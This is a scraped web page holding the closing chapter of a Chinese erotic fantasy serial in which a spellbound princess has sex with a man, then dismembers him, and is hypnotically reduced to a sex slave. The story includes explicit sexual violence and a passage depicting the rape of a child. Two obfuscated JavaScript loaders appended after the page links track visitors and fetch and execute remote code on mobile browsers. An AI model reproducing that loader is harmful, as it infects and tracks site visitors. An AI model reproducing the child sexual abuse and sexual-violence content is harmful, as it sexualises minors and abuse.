迎合着狂暴的活塞运动,长长金发如流水般摇曳着的少女擡起香臀,让身上的男子更好施力,同时放松渐渐软下来的身子,让男子的魔手跟嘴舌能够更有效率地对自己的肉体恶戏,逗弄炽热的情欲。

本来轻轻纠缠起来的毛发,也由于两人下身快速的分离而松开了,变回金黑两色的两丛独立毛发。

绞着、撞着、挺动着。

一丝一缕的麻酥感觉,一丁一点的舒畅挤压,两种完全不一样的快感彷似形成了强烈的二重螺旋,不断在男子的嵴骨底端直冲大脑,然后在头顶消散之时拉扯着下一波快感冲上脑尖似的,令男子无法停下动作。

所以,为了压过这阵令他会发狂的冰冷刺激,他将精神集中在金发少女的吻里,享受。

搔着、抽送着、厮磨着。

只是相同的动作,却不断从来微妙地令人无法停止下来的快感;香嫩的樱唇滑舌似是施放了魔法一样,让男子无法放弃那绝艳的美妙,继续吸吮少女的唾液以及玩弄那滑熘的灵动。

仅靠些许烛光照亮着的斗室之中,只存在着肉与肉的激烈撞击声,以及那偶尔从金发少女口中漏出,魅惑的妖艳呻吟。

进出着、挤弄着、灼烫着。

动情的少女肉体热烈地迎接着猛烈抽插,花径也随着开始急促的唿吸不断以层层肉折咬动着男子,承受住淫邪的宠爱;然而,分泌的潮蜜却因为狂猛动作的倒抽,而随着男子的动作外涌,甚至把那紧闭着玉门,却仍被指尖钻探的菊蕾溽湿。

受到了异常的逗弄,菲娜被男子以肥舌塞住的口腔发出了低声的呻吟,身子更加的发软起来。

“唔咕……唿啊……菲娜!菲娜!!”

“咕嗯……啊、唔、啊嗯!啊唔……嗯啊!”

不自觉地扣住男子腰间,少女光滑的诱人长腿也开始了激烈的颤抖;连那朝天高举的玉指也微微地蜷缩起来,露出了痉挛的现象。

“菲娜、我……我……我要……!!”

“请、请……不要忍耐……噢、唔嗯、嗯……在菲娜身上、啊嗯!把、把全部都……咕嗯!嗯、噢……啊!都射……射出来……嗯、嗯啊∼”

充血而肿胀的巨大龟头倾尽了所有的力气,在层层不住张合收缩的曼妙肉壁之中穿梭、忍耐那突破着极限的快感,追求着更为刺激灵魂的顶端。

‘噗滋’

加快。

‘噗滋’‘噗滋’

加快。

‘噗滋’‘噗滋’‘噗滋’

加快。

“不、不行了……菲娜……我的天使大人!!”

“嗯、嗯唔……菲、菲娜好像……也要、回、回到光明神界……喔、啊啊!……啊、啊嗯、嗯、噢、嗯、唔嗯、嗯、啊、啊……”

下一秒,神魂颠倒的两人同时发出了使一切在脑中变白,充满快感的叫声。 “努喔喔喔喔∼∼∼∼!!”

“喔喔喔啊啊啊啊啊∼∼!!”

积存已久的白浊争先恐后地由男根的马眼中狂暴地喷洒而出,让肉壶的内面被黏稠雪白所清洗,增添了一份淫乱的色彩;随着渐渐慢下来的唿吸,邪魅的精浆一点点地从花辧的隙间流出,污染着贫民房间的地面。

良久,这里只有空洞的微弱唿吸,以及留有兽欲的沉重喘息。

“散财的红龙啊……我这一辈子第一次射得这么爽……太棒了、这和年青时出海偷偷捕捉女人鱼来干一样棒……”

“……如果……您希望的话……菲娜将会……承受您的一切欲望……这也是、您应得的……恩赐……”

闻言,本来还没得到满足的男子马上回到最佳的状态;只见那已缩小成手指大小,从花径中滑出的垂软阳根再度充血,狂猛地膨涨起来。

然后,沈寂的小房子,再度响起了肉欲的第二交响曲……

接下来的时间到底是怎样流逝而去,男子一点都没有感觉。

因为,他的脑中只余下泄欲、不断的泄欲、以及充满快感的泄欲。

“啊、噢、嗯……哈嗯、哈啊……噫、啊、唔啊!嗯、喔喔啊啊∼∼” “呵、啊呵……又射了……唿……真是太爽……唔?”

好不容易才从跨间玉袋的虚脱感以及连续喷射的满足感之中回过神来,男子这才发现自己直至刚才为止,仍然抱着怀中的金发天使猛干不停——只是他们两人的位置早就从客厅中央移动到了厨房里,两人狼藉一片的下半身仍然紧紧结合在一起。

日光,正好直射着他的脸。

不知不觉,他居然从昨天晚上开始一直以淫秽行为蹂躏着身下天使,直至第二日的早晨。

光明神的约定,在他最满足的一刻将告完结。

“啊啊、不能忘了这个……”任由半软化的阳物留在温热肉壶之中,男子依依不舍地将双手从饱满坚挺的美丽乳肉上面移走,十指互握之后开始以感恩之心祈祷,“……以银月之名,感谢光明神大人……”

毫无先兆的,男子视界忽然歪斜起来。

“派遣天、使赐我恩……?”

事情,来得相当突然,甚至是不给予男子任何反应空间的迅速。

歪歪斜斜的视野,奇妙地下坠。

——为甚么……我会飞起来……

无法再思考更多。

看到的是,一个肥胖的无头肉体,以及在那丑陋肉躯身下手持切肉刀,香汗淋漓的金发少女。

眼睛能看到的阳光一点点地消散,最后,再也看不见任何的存在……

硬物着地的声音响起。

享受了一夜艳福的男子,在头部被完全切断的情况下瞬间步过死生与死之间的界线,充斥淫火的炽热肉体也在短短的数息之后变冷。

具有浓烈腥臭味道的人血,不断的由被砍开的颈椎之中犹豫真红喷泉一般喷出,让推开压住自己的肥肉站起,高贵少女任由那下贱血水滴在自己仍然流着汗的皮肤上、反射着金色阳光的长发上、甚至是那毫无生气跟表情的脸上。 然后,高举着染血的厨具,切割。

那是,无法形容的画面。

身下还在溢出黏稠的白浊男汁,毫无表情的动人美少女任由顶上映射金黄光芒的青丝凌乱地摸在地面,纤幼手上的刀刃却确实地进行着砍切,将昨晚跟自身缠绵了整个昼夜的雄性斩成更加恶心的巨大肉块。

那本应握着爱人的手,正用力地把利刃斩下。

红色的血,沾污了金色的发丝。

半透明的淫液伴着奶白色的精浆,跟地上渐渐不再流动的凝结浊血接触,随着柔顺发丝的轻微晃动而混淆起来。

顶着猩红的黑色存在,不知在甚么时候就站在了大门外面;没有说话,背光的身影以无声脚步进入了民居里面,走到了死尸即使已完全变成无法辨认的血色尸块,手上动作也没有停下的少女身旁。

“‘愉悦、追忆……”黑色人影的声音响起,“……永眠之姬’。”

动作犹如古失去动力的老时钟一样停顿下来,甚至任由那被染红的银刃掉落在地,少女蓝宝石似的空洞眼睛忽然亮起了代表神志的光彩。

——菲娜的脑海中,在男子声音响起之后多出了不少的‘异常’。

(……我……)

那些是,她理应没有经历过的记忆。

——记忆中,她浑身上下一丝不挂的她以四肢着地的方式,在空无一人的王宫通道上如雌犬一样爬行着。

——记忆中,她犹如下贱的奴隶一样,赤裸着趴在光明神的神殿中央,以舌头替某个坐在祭坛上面,红色短发的男人清理着散发着汗臭的脚掌。

(这是……我……可是、为甚么……)

——记忆中,她以妓女也不屑的开脚姿势蹲坐在某个广场的喷水池上面,一边以手指爱抚着自己柔嫩娇美的耻部,一边发出妖魅的叫声,任由那淫欲的液体溅落在水池中。

——记忆中,她穿着打从出生开始也不曾看过,暴露无比的黑色神官服,背对着初升的那一轮红日,弯低身子任由眼前脸庞伤口仍然在流脓的肮脏老乞丐舔舐自己的嘴唇。

——记忆中,她拿着从来没有碰过的巨大双刃剑,将眼前同样手持武器的高贵妖精击倒并捕捉起来,然后以她掉落的短剑强行贯穿那紧窄的下身,施行着她无法想像的凌辱剧。

(…………不要……)

——记忆中,她在身上只戴上一个皮颈圈的情况下走到了一间她没见过,充满了异国风情的大宅中,以卑微的动作跟下流的语调,侍奉着无数脱掉衣服的丑陋男人。

——记忆中,她处身于充斥着腐坏食物以及垃圾臭味的某个后巷里,好像谗嘴的小孩子一样用手套弄着身旁牛头人的黑色肉根,同时以舌尖挑逗那受到性的刺激而隐约抽搐起来的巨大玉袋。

——记忆中,她拿起仍然滴着血的短木棍,走向裸着下半身,不住哭喊求饶的孩子面前,用那毫不平滑的棍棒捅入小少年柔弱而紧窄的肛穴。

——记忆中,她上下摆动着腰枝,身下亦很有节奏地不断控制着肉壶收缩挤压,双手同时用力的勒住身下伴侣的颈子,让脸色发青的老人渐渐发不出愉乐的叹息,火热的身体也开始冰冷起来。

(……不要……不要、不要……)

——记忆中,她不只是高高在上的公主,更是奴隶、是女仆、是神官、是妓女、是家畜、是调教师、是肉便器,是这土地上最下贱的种族的玩物。

——记忆中,她没有自由,没有尊严,没有自我,亦没有任何人帮助,甚至是给予她除了性爱以外的任何关怀。

——记忆中,她露出比阳光还要灿烂,比任何时候也要喜悦的微笑……犹如沈沦在肉欲的天使一样。

——记忆中,她无论在任何时候,身处任何地方,也沈醉在无边际的性爱之中;跟她交合的不管是哪个种族,甚么身份,生命也好,死物也罢,只要能够插进她水嫩娇躯,让她的花径能够享受快感就好。

——记忆中,她无时无刻也感到子宫传来的饥渴——

——记忆中,她除了性欲就一无所有——

——记忆中,她总是渴望快感——

——记忆中,她——

“不要————————!!!”

脑中一片混乱的菲娜,依稀感到自己红色的双手抱着僵硬的肩膀,眼角也无法控制不停流下的串串泪水;耳中传来自己的哭泣声,也隐约听到刚刚属于自己的那道充满了绝望的叫喊。

可是,身体的某个地方却无视她的悲伤,散发着令她几乎感到疼痛的绝妙快感;作为直接被快感冲击的花房不由自主地抽搐收紧,让本来积存于花径之中的残余男汁再度开始流出。

(……为甚么……为甚么我会……)

意识同时受到了多种感情的冲击,让金发的公主无法作出反应,只能好像损坏人偶一样,沉默地颤抖。

足以使她崩溃的黑暗记忆,以及那带来无上喜悦的美妙,仿佛是互相冲击着一样让菲娜无法作出任何的动作,无法说出任何说话。

仿佛在等待着甚么的男子,只是凝视着动摇的金发少女。

然后,就是一阵更长的静默,独留身心被翻弄的金发少女的悲哀抽泣,以及从无到有渐渐响起来,混杂着淫色呻吟的迷乱声音。

——是时候了。

“……”判断少女体内的欲望已经沸腾到鄤将影响理智的地步,名为堤斯的男子说出了第二句咒文,“‘禁忌、分岐、永眠之姬’。”

“!”

只来得及作出微微的惊讶,菲娜只感到意识无法集中起来——不,是被某些强行浮现在脑海中的‘甚么映像’给盖过了混乱的思绪;而那接近高潮却又差那仅仅一点距离的愉乐,并没有因此消失或者减弱。

脑海中,浮现出一个意外地令她感到怀念的房间轮廓;那铺上了米色垫子的地板,那刻在墙壁上的简朴银色纹路,甚至是放在床边柜子上面的那一只白色飞龙玩偶,也曾经是她生活的一部分。

这是她‘以前的房间’——

“母后∼”

——但是现在,身处那个房间的人不是她,而是一个自己从来没有看过,发色犹如夕阳似的淡金色,拥有着高挑而不致于过度瘦削的身裁,活泼脸孔上挂着些许不悦表情的美少女。

而现在,这一个陌生的少女,就正向着坐在以高雅木材制成的大椅子上,一脸温和的金发女性诉说着甚么似的。

两个人的外貌,也让菲娜感到了异样的熟悉,就好像——

“嗯,怎么啦?菲娜……”

“呜呜∼人家是菲依娜∼不是菲娜啦!人家最∼讨∼厌∼这个名字了!” ——她想起来了。

这两个人,分别是自己的亲生母亲‘莲莉。B。积艾斯’以及曾经跟五岁的自己相处了好一段时间的亲人,也是儿时最好的玩伴‘菲依娜。纹达’。 只是,为甚么母亲会用自己的名字称唿菲依娜,菲娜一点都不明白—— “……嗯……”将菲依娜搂进怀里,莲莉摸了摸少女那长得快要碰到手肘的淡金色头发,以带着淡淡忧郁的美丽声音说道,“我知道的,你是菲依娜……真正的菲娜……她……”

“人家不会介意啦……而且,沙洛克也对我很好……”微笑着回答,淡金发的少女这样回答着,声音却透露着某种悲苦,“只是,一想到那些关于沙洛克的流言……人家就……”

——这是怎么一回事?

菲娜无法理解这一段‘记忆’到底想表达甚么;也许心底某个地方已经明白了,却为了保持意识跟理性而死命地否定着吧?

“……这些年来,辛苦你了……”叹息之音由莲莉的芳唇中发出,“为了这个国家,要你一直伪装成别人……我真的很抱歉……可是……”

“人家明白的……如果当时沙洛克娶不到菲娜的话……这个国家就……”作为当事人的菲依娜也很清楚当时的情况,“所以母后才找上人家嘛……因为菲依娜跟菲娜的样子很像……没有外人会看穿的……”

——样子、很像?母后、找上了菲依娜?

无法说出半句话,无法思考下去,菲娜只感到渐渐空白起来的意识之中,好像有些甚么——很重要的‘甚么’——碎掉了。

“……我们一直让菲娜留在皇宫,没问题吗?”过了一会,淡金发的少女忽然问道,“人家……人家真的很害怕……我怕沙洛克找到方法让菲娜醒来……如果、如果菲娜醒来的话我——”

“……不会的,孩子。你就是‘菲娜’啊……”笑着,莲莉用力抱紧了怀中的可怜少女,眼角的泪光一点点地滴在地上,“你已经为了我们、为了国家牺牲掉太多……我跟陛下,不会让你最后的幸福也牺牲掉……”

“可、可是菲娜……”

“孩子……这个世界上只有你是‘菲娜。积艾斯’……”抚摸着菲依娜的脸庞,妇人的表情带着悲伤,“……而那个孩子……”

“……为了不让谎言被揭穿……真正的‘菲娜’绝对不能醒来,不能出现在人民的面前……”明白对方想说甚么的菲依娜擡起了头,“有必要的话……就得把菲娜……”

——不、不会的……母后不会这样……母后……

拼死的否认着意识中响起的声音,无视着眼前的真实,金发的公主眼角流出了空虚的眼泪。

“……如果到了最坏的情况……”沉默地点了点头,莲莉的说话刺激着菲娜的灵魂,“……陛下已经决定……让那孩子永远睡下去……最少,这样一来她就不会受到伤害……让光明神……引渡她的灵魂……”

然后,随着抱拥两女开始低泣同时,这一段映像也慢慢的从菲娜脑海中淡化消散;金发少女的视界,重新回到了那肮脏的贫民房屋之中。

然而,记忆中的影像跟声音即使消散了,却依旧那么鲜明,那么清晰。 ——不可能……母后……骗人!这些都是假的!

少女的身体颤抖起来——并非因为那强烈到快要让她大脑空白一片的升天快 感,而是因为那对她而言,实在是过于残酷而无情的真实。

“从现在起,你的身体会越来越敏感,越来越感到饥渴……你的身体将会无法抗拒任何的性刺激。”本应跟菲娜发色相同的瞳孔再度变成了充盈着魔力的淡橘色,堤斯命令着少女的肉体,“但是,不承认真正的自己,你就无法享受到真正的快感,无法……高潮。”

说完,瞳色还原的男子就留下仍然处于混乱跟迷惑之中的少女,离开—— “要继续被母亲舍弃,永远睡下去……还是承认自己心里的欲望活下来?” ——只余下、自己一个人了。

感受着孤独,承受着快感,金发的少女陷入了迷惘的思考回圈之中。

(母后……舍弃了我……现在的菲娜公主……是菲依娜……)刚才所看到的记忆画面,一直盘踞在她心中,让她无法冷静下来,(……那么,我……) ——现在的自己是谁……自己能够以谁的身份活下去?

——被母后放弃的自己,到底是为了甚么存在?

无法回答的问题,无法理解的美妙,震荡着少女的肉体与灵魂,连带思考的重心也受到影响而产生微细但实在的偏移。

——为甚么……为甚么在这种情况,身体仍然……

——那一股欲望,为甚么还不消失……

(好热……好想要……好想、到达那个顶端……)蓝宝石色的眼瞳之中的理性之光逐渐衰退,慢慢被散发着欲望的沈淀蓝色取代,(要怎样才能……) 然后,菲娜想起了那个男人的话——‘承认真正的自己’。

(真正的……自己……)代表自我意志的目光一点点的涣散起来,金发少女 亮丽的蓝瞳逐步变成了某个状态——

——既然自己已经不是菲娜公主……那余下来的身份……‘真正的自己’就只有一个……

(奴隶……所有人的……奴隶……)依稀感到视线的改变,不自觉地站起来的金发少女以蹒跚的脚步走向了大门,娇足随着步伐颤动,让附在大腿的淫汁一点点地流下。

——啊啊……好舒服……好像……身体内有甚么要……出来了……

层层累积起来的快感,如怒涛巨浪一般拍打着,冲击着,动摇着少女最后的意识,也让少女那已经无法自控的脚步,为了追求那波浪的顶点而不着痕迹地加快起来。

“我是……菲娜。积艾斯……”

那高雅的玉足举起——

“……是所有…………所有人的……奴隶……啊啊∼∼!”

——可人的公主终告堕落,成为千人骑万人跨的肉欲玩具。

背着一丝晨光的红发男子看着眼前的金发公主——他知道,菲娜已经不再是高高在上的公主,而是为了表示自己存在理由,为了满足心底的淫荡欲望,所有人也能伸出手蹂躏的一名奴隶。

“……走吧。”

转过身去,准备离开的男子闭起了眼睛,让刚才所看到,金发少女身下如潮涌般流出的淫水的模样,从脑海中消失。

他想拥有的东西,终于到手;他渴望着的复仇,也将划上句点——

时间在没人在意的情况下,不断流动。

这是某个国家中,某个城堡内,某个聚了一群士兵的地方。

“真是没想到啊……国王陛下居然……”强壮的士兵不断将新买的麦芽酒灌进嘴里,口齿不清的说着,“他才跟公主相聚了几年而已……”

“听说是抵抗别国的军队时被武器上的咀咒所伤,精力一直流失……”另一名矮矮的守卫兵一边打磨着胸甲一边搭嘴,“所以前几天都有谣言说,国王老大的尸体就好像干尸一样……”

“敢散发这种谣言的家伙还真不怕死……以为自己是谁……唔?”停下灌酒动作的士兵向身旁默不作声的老兵问道,“老爷子怎么了?还在想念堤斯那小子吗?”

“哎,他都已经结婚了,退役很正常的啦!”腰间弓袋一直拆不下来,有点焦急的长鼻男子说道……他可赶着去酒吧,怎么这该死的箭袋就在碍事,“而且那小子的老婆可漂亮得很!老子可是‘鹰嘴虫之眼’,一定不会看错……她绝对有资格跟美人鱼相比!”

“……老头子只是在想,他会去哪里而已……”摇了摇头,莫巴只是静静的喝着酒,脑海中闪过了一个画面。

——那是,曾经跟自己玩过骑肩车,金色长发的小小身影——

“老头子也老了啰……”喝了口甜麦芽酒,老兵感到的却是让人皱眉的苦涩,“得开始戒酒了。”

没有人知道,这个国家中发生的一些小事,能够串连起来。

没有人知道,那些串连起来的小事,是一个复仇剧的残片。

没有人知道,那一部复仇剧的主角,正是那位‘睡公主’。

也没有人知道,那一位堕落的金色美姬,现在身处何方,是生是死。

“这就是……‘奈落永眠之姬’的故事……”

“……你可以……选择记着它……也能够选择……忘记这个故事……” “但是……请你记着……请你相信……”

“……把手……放在棺木上面……跟着我……念……”

昏黄色的光亮起,照耀着黑水晶的巨棺。

巨棺里面的人影虽然无法看清,但是那一头夺目的金色长发足以让人判断在棺木中的人是男是女。

“……苏醒……”

声音开始变弱,也开始糢煳起来。

“……奈落……永……眠……之……姬……”

声音消散,只余下同样虚弱的灯光,照着那神秘的黑棺……

【完】


上一篇:八美图 (上)

下一篇:夏日艳阳诉衷情


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};